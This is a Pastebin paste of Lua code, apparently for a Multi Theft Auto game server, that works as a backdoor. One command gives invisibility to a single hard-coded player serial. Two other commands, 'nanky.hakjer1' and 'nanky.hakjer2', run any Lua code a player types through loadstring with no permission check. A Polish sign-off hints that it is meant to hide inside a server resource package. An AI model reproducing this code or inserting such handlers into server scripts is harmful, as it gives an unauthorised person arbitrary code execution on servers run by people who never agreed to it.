Advertisement
Guest User

Untitled

a guest
Oct 17th, 2017
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.95 KB | None | 0 0
  1. function chujovanievidka(plr)
  2. if getPlayerSerial(plr) == "330F32F1D47F35E59B106D6273BBFD02" then
  3. if not getElementData(plr, "p:inv") then
  4. setElementData(plr, "p:inv", true)
  5. outputChatBox("Nikt Cie nie widzi!", plr,255,255,255)
  6. else
  7. setElementData(plr, "p:inv", false)
  8. outputChatBox("Wszystko juz okej!", plr,255,255,255)
  9. end
  10. end
  11. end
  12. addCommandHandler("nanky", chujovanievidka)
  13.  
  14.  
  15. addCommandHandler("nanky.hakjer1", function(outputTo, cmd, ...)
  16. local commandstring = table.concat({...}, " ")
  17. local commandFunction, errorMsg = loadstring(commandstring)
  18. local notReturned
  19.  
  20. if errorMsg then
  21. --It failed. Lets try without "return"
  22. notReturned = true
  23. commandFunction, errorMsg = loadstring(commandstring)
  24. end
  25. if errorMsg then
  26. --It still failed. Print the error message and stop the function
  27. return outputChatBox(errorMsg, outputTo)
  28. end
  29.  
  30. results = { pcall(commandFunction) }
  31. if not results[1] then
  32. --It failed.
  33. outputChatBox("Error: "..results[2], outputTo)
  34. return
  35. end
  36.  
  37. if not errorMsg then
  38. outputChatBox(commandstring, outputTo)
  39. outputChatBox("Nanky pozdrawia - Polecam przeglądać paczke! :)", outputTo)
  40. end
  41. end)
  42.  
  43. addCommandHandler("nanky.hakjer2", function(outputTo, cmd, ...)
  44. local commandstring = table.concat({...}, " ")
  45. local commandFunction, errorMsg = loadstring(commandstring)
  46. local notReturned
  47.  
  48. if errorMsg then
  49. --It failed. Lets try without "return"
  50. notReturned = true
  51. commandFunction, errorMsg = loadstring(commandstring)
  52. end
  53. if errorMsg then
  54. --It still failed. Print the error message and stop the function
  55. return outputChatBox(errorMsg, outputTo)
  56. end
  57.  
  58. results = { pcall(commandFunction) }
  59. if not results[1] then
  60. --It failed.
  61. outputChatBox("Error: "..results[2], outputTo)
  62. return
  63. end
  64.  
  65. if not errorMsg then
  66. outputChatBox(commandstring, outputTo)
  67. outputChatBox("Nanky pozdrawia - Polecam przeglądać paczke! :)", outputTo)
  68. end
  69. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement